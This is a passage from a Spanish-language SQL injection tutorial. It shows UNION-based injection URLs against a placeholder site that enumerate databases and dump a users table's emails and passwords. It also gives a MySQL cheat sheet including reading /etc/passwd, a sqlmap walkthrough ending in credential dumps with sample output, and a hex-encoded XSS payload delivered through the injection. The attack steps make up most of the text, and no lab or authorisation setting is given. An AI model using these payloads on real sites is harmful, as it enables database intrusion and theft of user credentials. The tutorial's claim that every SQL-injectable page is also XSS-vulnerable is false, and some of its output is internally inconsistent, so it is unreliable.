140 | ``` 141 | 142 | Lo que eso generará es que la página nos muestre los números de las columnas que son vulnerables para inyectar en ellas, esta parte es muy importante ya que tenemos que ser muy curiosos para notar los cambios, en algunos casos los cambios son muy drásticos y se notan demasiado, pero en otros casos los cambios son demasiado sutiles. 143 | 144 | Para este ejemplo, imaginemos que la página es vulnerable en las columnas `3` , `5` y `20`. La página nos mostrará estos números en algún lugar. 145 | 146 | 147 | ### Extraer información 148 | 149 | Ahora que tenemos el número de columnas y hemos identificado las columnas inyectables sigue extraer e inyectar informacion, para hacer eso necesitamos inyectar directamente en la columna vulnerable, pasando al ejemplo anterior y al saber que la columna `5` es vulnerable, nos quedara algo como esto: 150 | 151 | ``` 152 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,'soy vulnerable',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 153 | ``` 154 | 155 | Al inyectar `'soy vulnerable'` le estamos diciendo a la página que queremos que por la columna número 5 nos muestre la frase `soy vulnerable` ya que estamos inyectando un string directamente en la columna vulnerable 156 | 157 | Algo que recomiendo mucho es usar `@@datadir`, Este nos muestra en donde esta montada la base de datos, pero al mismo tiempo nos nuesta informacion con la que podemos determinar que base de datos de esta usando, imaginemos que inyectamos y nos muestra esto: 158 | 159 | 160 | ``` 161 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,@@datadir,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 162 | ``` 163 | Nos muestra: 164 | 165 | `/var/lib/mysql/` 166 | 167 | Esto significa que la base de datos esta en esa ruta y al mismo tiempo nos dice que la base de datos usada es `mysql`, entonces nos enfocamos en esa base de datos. 168 | 169 | #### mysql sql Injection Cheat Sheet 170 | 171 | Al saber que la base de datos con la que se maneja la página es `mysql`, vamos a ver un pequeño `Cheat Sheet` para esta base de datos. 172 | 173 | ¿Qué es un Cheat Sheet? 174 | 175 | Basicamente es una lista con muchos "trucos" se puede decir, como es la traduccion a español de esa frase `Cheat Sheet = hoja de trucos`. En esta vamos a encontrar desde las consultas mas basicas hasta consultas un poco mas avanzadas que nos van a ayudar demasiado para trabajar en nuestra inyección sql. 176 | 177 | ``` 178 | | Version | SELECT @@version o SELECT version() | nos da la version de la base de datos | 179 | 180 | | Current User | SELECT user() o SELECT system_user() | nos da el usuario que tenemos | 181 | 182 | | List Users | SELECT user FROM mysql.user | nos muestra todos los usuarios | 183 | 184 | | Database | SELECT database() | nos muestra la base de datos en la que estamos | 185 | 186 | | Lista de bases de datos | SELECT schema_name FROM information_schema.schemata | nos muestra las bases de datos | 187 | 188 | | List tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | nos muestra las tablas de la base de datos elegida | 189 | 190 | | List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ | nos muestra las columnas de la tabla elegida | 191 | 192 | | Local File Access | UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) | si es posible, nos deja leer archivos del sistema | 193 | 194 | | DB location | SELECT @@datadir | nos muestra la direccion en donde esta instalada la base de datos | 195 | 196 | ``` 197 | 198 | ### Extraer informacion personalizada 199 | 200 | Ahora vamos a analizar mas a detalle como sacar informacion de la base de datos, regresando al ejemplo con el que estamos practicando, vamos a usar `database()`, que como ya lo vimos nos sirve para que nos muestre el nombre de la base de datos con la que estamos trabajando; 201 | 202 | ``` 203 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 204 | ``` 205 | Nos muestra: 206 | 207 | `nombre_DB` 208 | 209 | ahora tenemos el nombre de la base de datos. 210 | 211 | lo siguiente que vamos a hacer es sacar las tablas de la base de datos, aquí hay 2 maneras: 212 | 213 | ``` 214 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from information_schema.tables --+ 215 | ``` 216 | Nos muestra: 217 | 218 | `las principales tablas de la base de datos information_schema` 219 | 220 | para sacar las tablas de la base de datos que sacamos antes: `nombre_DB` hacemos lo siguiente: 221 | 222 | ``` 223 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from information_schema.tables where table_schema=database() --+ 224 | ``` 225 | 226 | Nos muestra las principales tablas de la base de datos `nombre_DB`: 227 | 228 | supongamos que encontramos las tablas: 229 | 230 | `usuarios, otra_tabla, hola_soy_otra_tabla` 231 | 232 | logicamente la que nos interesa es la tabla `usuarios` 233 | 234 | Ahora vamos a entrar a la tabla `usuarios` dentro de la base de datos `nombre_DB` para sacar las columnas: 235 | 236 | ``` 237 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from information_schema.comlumns where table_name="usuarios" --+ 238 | ``` 239 | 240 | Nos muestra: 241 | 242 | `id, name, email, passwd` 243 | 244 | que son generalmente las que se pueden encontrar. 245 | 246 | Ahora, para mostrar el contenido de esas columnas: `id, name, email, passwd` solo tenemos que recordar en que tabla estan para asi poder llamarlas, así; 247 | 248 | ``` 249 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(id,name,email,passwd),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from usuarios --+ 250 | ``` 251 | Nos muestra: 252 | 253 | `0pepitopepito@correo.comcontraseñasegura` 254 | 255 | si se dan cuenta esta todo junto por que asi es como lo estamos llamando, para arreglar esto vamos a hacer uso de la codificacion `hex` y del simbolo `:`. 256 | 257 | el simbolo `:` en `hex` nos queda así: `0x3a`. 258 | 259 | ``` 260 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,group_concat(id,0x3a,name,0x3a,email,0x3a,passwd),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 from usuarios --+ 261 | ``` 262 | Nos muestra: 263 | 264 | `0:pepito:pepito@correo.com:contraseñasegura` 265 | 266 | ahora más entendible. 267 | 268 | ## *Como nota* 269 | Para realizar estos "ataques" personalizados usamos algunas cosas que me gustaría explicar: 270 | 271 | 1-`gruop_concat()`: Esta es una funcion que nos permite concatenar valores, de tal manera que lo estamos usando para que nos devuelva los valores que nosotros elegimos desde la tabla seleccionada. 272 | 273 | 2-`group_concat(table_name) from information_schema.tables`: Esta sentencia nos devuelve el nombre de las tablas (fijense que estamos haciendo uso de `group_concat(table_name)`) desde information_schema.tables, esto significa que estamos haciendo una sentencia que nos refleja el nombre de las tablas que estan dentro de la base de datos llamada information_schema. 274 | 275 | 3-`group_concat(table_name) from information_schema.tables where table_schema=database()`: Este secuencia es muy parecida a la anterior, solo que aquí se agrega otro comando: `where` que se utiliza para hacer un poco mas personalizada la consulta, en este caso la estamos usando para dirigir la consulta dentro de la base de datos llamada `nombre_DB` 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | ## Inyección sql automatizada con sqlmap 286 | 287 | ### ¿Qué es sqlmap? 288 | 289 | SQLMap es una herramienta para explotar la vulnerabilidad de SQL injection. Esta herramienta automatiza el ataque para así explotar la página. 290 | 291 | ### Instalación de sqlmap 292 | 293 | Para empezar me gustaría dejar la página oficial aquí: `http://sqlmap.org/` 294 | 295 | Sqlmap es una herramienta que funciona en python en sus versiones: 2.6, 2.7 y 3.x en todas las plataformas, así que no hay problema para usarlo, personalmente lo he usado en windows, linux y en termux y en todas funciona exelente. 296 | 297 | Lo primero que tenemos que hacer es tener instalado git para poder clonar su repositorio oficial a nuestro dispositivo, el sitio en git es el siguiente: 298 | 299 | https://github.com/sqlmapproject/sqlmap.git 300 | 301 | para clonarlo usamos lo siguiente: 302 | 303 | git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 304 | 305 | una vez que tengamos clonado el repositorio entramos a la carpeta `sqlmap-dev` y ejecutamos el archivo `sqlmap.py`: 306 | 307 | `python sqlmap.py` 308 | 309 | 310 | 311 | 312 | ### Uso básico de sqlmap 313 | 314 | Para ver las opciones de ayuda de esta herramienta basta con usar lo siguiente: 315 | 316 | `sqlmap.py -h` 317 | 318 | Lo que nos devolvera las opciones basicas para hacer un correcto uso de esta herramienta, algo que se tiene que entender bien es el correcto orden de ejecuion para agregar las opciones: 319 | 320 | `sqlmap.py --opcion -u URL` 321 | 322 | En las opciones podemos resaltar las mas generales e importantes, por ejemplo: 323 | 324 | ``` 325 | | --random-agent | Lo cual nos permite "cambiar" el user agent con el cual se ejecutan las consultas | 326 | 327 | | --proxy=proxy | Lo cual nos permite conectarnos a la página que queremos escanear por medio de un proxy | 328 | 329 | | -p parametro | Se utiliza para determinar el parametro que queremos analizar | 330 | 331 | | --level=1-5 | Este nos permite modificar el nivel de con el que queremos hacer el escaneo, por defecto esta en el en nivel 1 pero podemos cambiarlo hasta el 5 para hacer mas intrisivo el escaneo | 332 | 333 | | --risk=1-3 | De igual manera que --level, risk nos permite cambiar el nivel con el que queremos hacer el escaneo agregando mas agresividad pero al mismo tiempo haciendo mas ruido, este se puede configurar desde el 1 al 3 vieniendo por defecto en el número 1 | 334 | 335 | | --current-user | Nos extrar el nombre de usuario con el que interactuamos con la base de datos | 336 | 337 | | --current-db | Nos extrae el nombre de la base de datos en la cual estamos | 338 | 339 | | --dbs | Nos extrerá el numero de bases de datos y nos mostrará el nombre de cada una de ellas | 340 | 341 | | -D nombre | Nos permite entrar en la base de datos seleccionada | 342 | 343 | | --tables | Nos mostrará el numero de tablas dentro de una base de datos y los nombres de cada una de las tablas | 344 | 345 | | -T nombre | Nos permite entrar en la tabla seleccionada | 346 | 347 | | --column | Nos extraerá el número de las columnas dentro de una tabla y nos mostrara el nombre de cada una de ellas | 348 | 349 | | -C nombre | Nos permite seleccionar la columna | 350 | 351 | | --dump | Nos permite extraer contenido de la base de datos | 352 | 353 | | --dump-all | Nos extrae todo de la base de datos | 354 | 355 | 356 | ``` 357 | 358 | Una vez que ya conocemos las opciones basicas de la herramienta vamos a ver un ejemplo de como usarla: 359 | 360 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1"` 361 | 362 | Algo muy importante a tener en cuenta es que sqlmap escanea la página parametro por paramerto, esto significa que si tenemos una página con mas de un parametro tenemos que especificar el puerto que queremos analizar o escanear todos uno a uno. 363 | 364 | 365 | Al empezar el escaneo, este de divide en partes: 366 | 367 | Escaneará la coneccion con la página. 368 | Escaneará la página en busca de algun WAF o IPS: 369 | 370 | ` [INFO] checking if the target is protected by some kind of WAF/IPS` 371 | 372 | Al terminar el escaneo, nos aparecera algo como esto: 373 | 374 | ``` 375 | [*] starting at 12:10:33 376 | 377 | [12:10:33] [INFO] resuming back-end DBMS 'mysql' 378 | [12:10:34] [INFO] testing connection to the target url 379 | sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 380 | --- 381 | Place: GET 382 | Parameter: id 383 | Type: error-based 384 | Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 385 | Payload: id=3 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 386 | --- 387 | [12:10:37] [INFO] the back-end DBMS is MySQL 388 | web server operating system: FreeBSD 389 | web application technology: Apache 2.2.22 390 | back-end DBMS: MySQL 5 391 | 392 | ``` 393 | Esto significa que ya ha terminado el escaneo, que la página es vulnerable y que conseguimos atacarla con exito. Lo siguiente es extraer el nombre de la base de datos, para extraer el nombre de las bases de datos vamos a usar la opcion `--dbs`: 394 | 395 | 396 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" --dbs` 397 | 398 | Al terminar vamos a tener los nombres de las bases de datos, algo como esto: 399 | 400 | ``` 401 | [*] starting at 12:12:56 402 | 403 | [12:12:56] [INFO] resuming back-end DBMS 'mysql' 404 | [12:12:57] [INFO] testing connection to the target url 405 | sqlmap identified the following injection points with a total of 0 HTTP(s) requests: 406 | --- 407 | Place: GET 408 | Parameter: id 409 | Type: error-based 410 | Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 411 | Payload: id3=1 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 412 | --- 413 | [12:13:00] [INFO] the back-end DBMS is MySQL 414 | web server operating system: FreeBSD 415 | web application technology: Apache 2.2.22 416 | back-end DBMS: MySQL 5 417 | [12:13:00] [INFO] fetching database names 418 | [12:13:00] [INFO] the SQL query used returns 2 entries 419 | [12:13:00] [INFO] resumed: information_schema 420 | [12:13:00] [INFO] resumed: nombre_DB 421 | available databases [2]: 422 | [*] information_schema 423 | [*] nombre_DB 424 | ``` 425 | 426 | Con esto tenemos las bases de datos, en este ejemplo tenemos `2`: 427 | 428 | ``` 429 | [*] information_schema 430 | [*] nombre_DB 431 | ``` 432 | 433 | Ahora, vamos a entrar a la base de datos `nombre_DB` y estraerémos el nombre de las tablas: 434 | 435 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" -D nombre_DB --tables` 436 | 437 | Al terminar el escaneo tenemos algo como esto: 438 | 439 | ``` 440 | [11:55:18] [INFO] the back-end DBMS is MySQL 441 | web server operating system: FreeBSD 442 | web application technology: Apache 2.2.22 443 | back-end DBMS: MySQL 5 444 | [11:55:18] [INFO] fetching tables for database: 'nombre_DB' 445 | [11:55:19] [INFO] heuristics detected web page charset 'ascii' 446 | [11:55:19] [INFO] the SQL query used returns 3 entries 447 | [11:55:20] [INFO] retrieved: usuarios 448 | [11:55:21] [INFO] retrieved: otra_tabla 449 | [11:55:21] [INFO] retrieved: hola_soy_otra_tabla 450 | ``` 451 | 452 | Al terminar tenemos las siguientes tablas: 453 | 454 | `usuarios, otra_tabla, hola_soy_otra_tabla` 455 | 456 | Lo siguiente es seleccionar una tabla y extraer las columnas dentro de ella: 457 | 458 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" -D nombre_DB -T usuarios --columns` 459 | 460 | Al terminar tenemos algo como esto: 461 | 462 | ``` 463 | [12:17:39] [INFO] the back-end DBMS is MySQL 464 | web server operating system: FreeBSD 465 | web application technology: Apache 2.2.22 466 | back-end DBMS: MySQL 5 467 | [12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics' 468 | [12:17:41] [INFO] heuristics detected web page charset 'ascii' 469 | [12:17:41] [INFO] the SQL query used returns 4 entries 470 | [12:17:42] [INFO] retrieved: id 471 | [12:17:43] [INFO] retrieved: int(11) 472 | [12:17:45] [INFO] retrieved: name 473 | [12:17:46] [INFO] retrieved: text 474 | [12:17:47] [INFO] retrieved: passwd 475 | [12:17:48] [INFO] retrieved: text 476 | 477 | ....... 478 | 479 | [12:17:59] [INFO] retrieved: hash 480 | [12:18:01] [INFO] retrieved: varchar(128) 481 | Database: nombre_DB 482 | Table: users 483 | [8 columns] 484 | +-------------------+--------------+ 485 | | Column | Type | 486 | +-------------------+--------------+ 487 | | email | text | 488 | | id | int(11) | 489 | | name | text | 490 | | passwd | text | 491 | +-------------------+--------------+ 492 | ``` 493 | 494 | Tenemos las siguientes columnas: 495 | 496 | `id, name, email, passwd` 497 | 498 | Por último tenemos que extraer el contenido de esas columnas: 499 | 500 | `sqlmap.py -u "http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1" -D nombre_DB -T usuarios -C id,name,email,passwd --dump ` 501 | 502 | Al terminar tenemos algo como esto: 503 | 504 | ``` 505 | +----+----------+---------------------+-------------------+ 506 | | id | name | email | password | 507 | +----+----------+---------------------+-------------------+ 508 | | 0 | pepito | pepito@correo.com | contraseñasegura | 509 | +----+----------+---------------------+-------------------+ 510 | 511 | ``` 512 | 513 | Con esto ya tenemos extraida la informacion que hay dentro de las columnas. 514 | 515 | 516 | ## Pasar de sql inyection a xss inyection 517 | 518 | Ahora que hemos visto como hacer un "ataque" de inyección sql, vamos a pasar de una vulnerabilidad a otra, esta será una inyección xss. Todas las paginas que son vulnerables a sql inyection tambien son vulnerables a xss inyection. 519 | 520 | ### ¿Qué es una inyección xss? 521 | 522 | Este "ataque" consiste en inyectar código malicioso en páginas web benignas. El atacante inyecta código desde el lado del cliente, de forma que por una mala configuración de la página web, este código se muestre a otros usuarios. 523 | 524 | ### Usando hex para esconder payloads 525 | 526 | El sistema hexadecimal es un método de numeración posicional que utiliza como base el número 16 (Base-16), es decir, que existen 16 símbolos de dígitos posible. 527 | 528 | Sus números están representados por los 10 primeros dígitos de la numeración decimal y el intervalo del número 10 al número 15 se representa por las letras del alfabeto: A, B, C, D, E y F. 529 | 530 | Este es el método con el cual vamos a inyectar xss dentro de una vulnerabilidad sql, retomando el ejemplo de la pagina vulnerable nos quedaria algo así: 531 | 532 | De igual manera, vamos a hacer uso de la columna vulnerable, en este caso recordemos que la columna `5` es vulnerable. 533 | 534 | Para convertir cadenas a hex hay muchas herramientas y muchas páginas que nos permiten hacer eso, una de ellas es esta: 535 | 536 | https://www.convertstring.com/es/EncodeDecode/HexEncode 537 | 538 | 539 | un payload de inyección xss muy basico es el siguiente: 540 | 541 | `` 542 | 543 | en hex nos queda asi: 544 | 545 | `3C7363726970743E616C6572742831293C2F7363726970743E` 546 | 547 | y al inyectar de esta manera: 548 | 549 | ``` 550 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,3C7363726970743E616C6572742831293C2F7363726970743E,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 551 | ``` 552 | Nos muestra: 553 | 554 | `un error` 555 | 556 | por qué?? bueno, la página nos muestra el error ya que no puede leer la cadena en hex asi como esta, para que lo lea de manera correcta tenemos que agregar `0x` en el inicio de la cadena convertida en hex, de esta manera le estamos diciendo a la pagina que queremos que por medio de esa columna vulnerable nos ejecute esa cadena en `hex`, así: 557 | 558 | ``` 559 | http://www.paginaparaejemplo.com/algo.php?id=1&id2=1&id3=1' union select 1,2,3,4,0x3C7363726970743E616C6572742831293C2F7363726970743E,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23 --+ 560 | ``` 561 | Nos muestra: 562 | 563 | `una alerta` 564 | 565 | Listo, de esta manera estamos pasando a una inyección xss dentro de una inyección sql. 566 | 567 | 568 | --------------------------------------------------------------------------------